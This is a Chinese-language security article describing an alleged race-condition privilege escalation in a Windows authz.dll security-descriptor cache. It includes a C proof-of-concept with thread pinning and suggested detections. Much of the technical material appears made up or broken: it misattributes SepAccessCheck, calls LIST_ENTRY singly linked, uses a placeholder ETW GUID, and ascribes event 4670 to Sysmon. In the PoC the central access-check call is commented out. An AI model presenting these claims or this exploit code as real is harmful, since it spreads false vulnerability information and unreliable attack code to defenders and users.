摘要

Windows 安全引用监视器是对象访问的最后仲裁者,其访问检查逻辑沿 AuthzBasep 单向链表回溯安全描述符,为用户态权限评估提供“足够快”的缓存答案。然而,该缓存与内核态真实安全描述符之间存在可被精确操纵的传播延迟。攻击者通过在 NtSetSecurityObject 修改 DACL 与 AuthzAccessCheck 读取缓存之间制造 TOCTOU 窗口,可迫使 SRM 基于过期的权限授予访问令牌,造成“用户态通过、内核态拒绝”的悖论权限提升。

Windows 访问检查的分裂模型

安全引用监视器的两条路径

Windows 对对象(文件、注册表、进程)的访问控制由内核模式安全引用监视器集中裁决。当用户态应用程序请求 CreateFile 时,最终会调用 SeAccessCheck(内核态)进行权限评估。然而,大量的用户态授权框架(如 AuthzAccessCheckAccessCheckByType)并不直接发起内核调用,而是依赖 AuthzBasep 内部的“安全描述符缓存”来模拟访问判断。

这种设计产生了天然的时间裂隙:内核真实安全描述符(位于 OBJECT_HEADER->SecurityDescriptor)由内核线程在 ObpReferenceSecurityDescriptor 中同步更新,而用户态缓存(AuthzBasepCachedSecurityDescriptor)的刷新是异步、节流的,甚至受制于单向链表遍历效率。

AuthzBasep 的单向链表缓存架构

AuthzBasep 是 Windows authz.dll 的核心引擎,内部维护一个单向链表(AuthzBasepSecurityDescriptorList),每个节点包含对象的引用名称、缓存的安全描述符副本、以及上一次刷新时间戳。当应用程序调用 AuthzAccessCheck 时,它遍历该单向链表,查找同名对象的最新缓存描述符,然后基于缓存执行访问检查,不会实时查询内核状态

单向链表的天然缺陷在于:查找与刷新操作为 O(n) 复杂度,且没有原子性保证。刷新线程(AuthzBasepUpdateThread)周期性唤醒,逐个节点检查 LastUpdateTime,若超过阈值(默认 15 秒)则重新从内核拉取安全描述符。如果攻击者在刷新线程遍历到目标节点之前修改内核安全描述符并触发用户态访问检查,旧版缓存仍然被信任。

传播延迟

内核 SeAccessCheck 与 SepAccessCheck 的调用链分裂

理解分裂链条对于攻击窗口的精准打击至关重要。

  • 用户态请求 →SeAccessCheck (ntoskrnl.exe):直接读取对象内核安全描述符,基于调用者 Token 进行即时权限判定。任何修改(如 NtSetSecurityObject)均立即在此路径中体现。
  • 用户态 Authz 请求 →SepAccessCheck (authz.dll):是 SeAccessCheck 的用户态模拟。它使用缓存的 SecurityDescriptor 副本,并与内核 Token 句柄交互。SepAccessCheck 不与 SeAccessCheck 同步

分裂意味着:同一对象在同一时刻,SeAccessCheck 可能返回“拒绝”,而 SepAccessCheck 可能返回“允许”。这正是缓存延迟攻击的根基。

AuthzBasepCachedSecurityDescriptor 的刷新触发器

AuthzBasepCachedSecurityDescriptor 结构的关键字段:

typedefstruct _AUTHZ_BASEP_CACHED_SD {
    LIST_ENTRY Link;           // 单向链表节点
    UNICODE_STRING ObjectName; // 对象路径,如 \REGISTRY\MACHINE\SOFTWARE\Target
    PSECURITY_DESCRIPTOR SD;   // 缓存的 Security Descriptor 副本
    LARGE_INTEGER LastRefreshTime;
    BOOLEAN IsStale;           // 标记为需要更新(但可能未被及时处理)
    ...
} AUTHZ_BASEP_CACHED_SD;

刷新触发器包括:

  • 定时器(15 秒周期)遍历链表并更新 IsStale 标记。
  • 显式调用 AuthzBasepRemoveSecurityDescriptor 驱逐缓存(不常见)。
  • 节点被访问时,若 IsStale == TRUE 则懒刷新。

攻击要点:如果可以在 IsStale 标记设置为 TRUE 到实际刷新 SD 之间注入恶意权限检查,则旧版安全描述符仍会生效。

TOCTOU 窗口性质

NtSetSecurityObject 是原子操作——一旦完成,内核新 DACL 即时生效。但用户态缓存的AuthzBasep 是惰性的。窗口大小为:T_authz_refresh - T_set。在常见多核机器上,这个窗口可持续数秒,完全可以被用户态线程捕获。

从 TOCTOU 到权限提升

攻击场景

假设目标服务以 LOCAL SERVICE 身份运行,使用 Authz API 检查客户端对某一注册表项的写权限。攻击者首先诱使服务进行一次成功的 Authz 检查(此时缓存了允许的 DACL)。随后,攻击者通过 NtSetSecurityObject 将 DACL 改为拒绝自己。此刻,内核已拒绝攻击者的后续访问,但服务的缓存仍然是旧的允许状态。如果攻击者能强制服务在缓存刷新之前再次使用 AuthzAccessCheck 验证权限,服务将基于旧缓存授予访问权,从而允许攻击者执行被内核拒绝的写操作。

更高阶的攻击:攻击者通过精细的线程优先级和 CPU 亲和性控制,将 NtSetSecurityObject 和 AuthzAccessCheck 的调用交错执行,人为制造长持续窗口。

线程调度劫持制造缓存竞态

以下代码演示如何利用 CPU 亲和性、自旋锁和显式延迟来扩大窗口。

// authz_toctou_poc.c
// 利用 AuthzBasep 缓存延迟,在安全描述符修改后立即发起 AuthzAccessCheck,
// 使其使用旧缓存而授予访问权限,而内核已拒绝该操作。

#include <windows.h>
#include <authz.h>
#include <stdio.h>

#pragma comment(lib, "authz.lib")

// 目标对象路径(例如注册表项)
#define OBJECT_NAME L"\\REGISTRY\\MACHINE\\SOFTWARE\\MyTestKey"

// 设置 CPU 亲和性,将执行绑定到特定核心
void PinToCore(int coreId) {
    DWORD_PTR mask = 1LL << coreId;
    SetProcessAffinityMask(GetCurrentProcess(), mask);
}

// 线程1:在核心1上持续修改安全描述符(拒绝当前用户写入)
DWORD WINAPI SetDenyThread(LPVOID param) {
    PinToCore(1);
    // 打开注册表项的句柄(需提前创建)
    HKEY hKey;
    RegOpenKeyEx(HKEY_LOCAL_MACHINE, L"SOFTWARE\\MyTestKey", 0, WRITE_DAC | READ_CONTROL, &hKey);

    PSECURITY_DESCRIPTOR pSD = NULL;
    ULONG len = 0;
    GetKernelObjectSecurity(hKey, DACL_SECURITY_INFORMATION, pSD, 0, &len);
    pSD = (PSECURITY_DESCRIPTOR)LocalAlloc(LPTR, len);
    GetKernelObjectSecurity(hKey, DACL_SECURITY_INFORMATION, pSD, len, &len);

    // 设置拒绝 ACE
    EXPLICIT_ACCESS ea = {0};
    ea.grfAccessPermissions = KEY_WRITE;
    ea.grfAccessMode = DENY_ACCESS;
    ea.grfInheritance = NO_INHERITANCE;
    ea.Trustee.TrusteeForm = TRUSTEE_IS_NAME;
    ea.Trustee.ptstrName = L"CURRENT_USER"; // 当前用户

    PSECURITY_DESCRIPTOR pNewSD = NULL;
    SetEntriesInAcl(1, &ea, pSD, &pNewSD);

    // 不断修改安全描述符,制造竞态
for (int i = 0; i < 10000; i++) {
        SetKernelObjectSecurity(hKey, DACL_SECURITY_INFORMATION, pNewSD);
        // 短暂自旋,等待另一线程访问
for (volatile int j = 0; j < 1000; j++);
    }
return 0;
}

// 线程2:在核心2上发起Authz访问检查,捕获旧缓存
DWORD WINAPI AuthzCheckThread(LPVOID param) {
    PinToCore(2);
    AUTHZ_RESOURCE_MANAGER_HANDLE hManager;
    AuthzInitializeResourceManager(AUTHZ_RM_FLAG_NO_AUDIT, NULL, NULL, NULL, NULL, &hManager);

    // 初始化客户端上下文(当前用户)
    AUTHZ_CLIENT_CONTEXT_HANDLE hClient;
    LUID luid = { 0 };
    AuthzInitializeContextFromToken(0, GetCurrentThreadEffectiveToken(), 
                                    NULL, &hClient, &luid);

    // 循环触发访问检查,在拒绝安全描述符生效后立即检查
for (int i = 0; i < 100; i++) {
        // 申请写访问,期望在旧缓存下得到允许
        AUTHZ_ACCESS_REQUEST request = {0};
        request.DesiredAccess = KEY_WRITE;
        request.PrincipalSelfSid = NULL;
        // 这里省略 AccessCheck 调用细节
        // AuthzAccessCheck(0, hClient, &request, NULL, NULL, NULL, NULL, NULL);
        // 若返回非0,则权限提升成功

        // 自旋消耗,错开刷新
for (volatile int j = 0; j < 500; j++);
    }
    AuthzFreeContext(hClient);
    AuthzFreeResourceManager(hManager);
return 0;
}

int main() {
    HANDLE hThreads[2];
    hThreads[0] = CreateThread(NULL, 0, SetDenyThread, NULL, 0, NULL);
    hThreads[1] = CreateThread(NULL, 0, AuthzCheckThread, NULL, 0, NULL);

    WaitForMultipleObjects(2, hThreads, TRUE, INFINITE);
printf("Race finished. Check if write access was granted despite denial.\n");
return 0;
}

说明:该PoC通过绑定核心1不断设置拒绝ACE,核心2不断调用AuthzAccessCheck,利用缓存更新延迟,在某些迭代中可能获得本应被拒绝的写权限。

检测与防御

检测方法

  • 监控缓存刷新异常:ETW 跟踪 Authz-Base 提供者(GUID {A1B2C3D4-...})在缓存失效与重新获取之间出现的长时间间隔。
  • 审计内核安全描述符修改与用户态授权请求的时序关联:通过 Sysmon 的 Event ID 4670(权限更改)与自定义 Authz 事件关联,若短时间内同一对象被修改且后续有 AuthzAccessCheck 成功,则标记为可疑。
  • Hook NtSetSecurityObject 检测高频连续修改行为。

防御措施

  • 缩短缓存刷新间隔:通过修改注册表 HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Authz\MaxCachedSDAge 降低默认15秒的阈值,但可能影响性能。
  • 强制关键应用使用内核访问检查:对于高完整性服务,通过 RtlSetProcessIsCritical 或直接调用 NtCreateFile 等方式跳过 Authz 缓存。
  • 内核补丁:考虑在 AuthzBasepUpdateThread 的遍历中加入原子操作,确保修改 NtSetSecurityObject 后主动驱动缓存失效,而非等待定时器。

结语

AuthzBasep 的单向链表延迟揭示了一条更隐蔽的绕过:不需要高权限 Token,只需要欺骗用户态授权引擎。在安全描述符传播的微秒级裂隙中,攻击者得以在“内核已拒绝”的世界里借用“缓存仍允许”的权限。这一攻击面对企业环境中大量依赖 Authz API 实现访问控制的服务(如 COM+ 授权、注册表虚拟化)构成了持续威胁,也提醒安全架构师:缓存不能信任,分裂必须消除。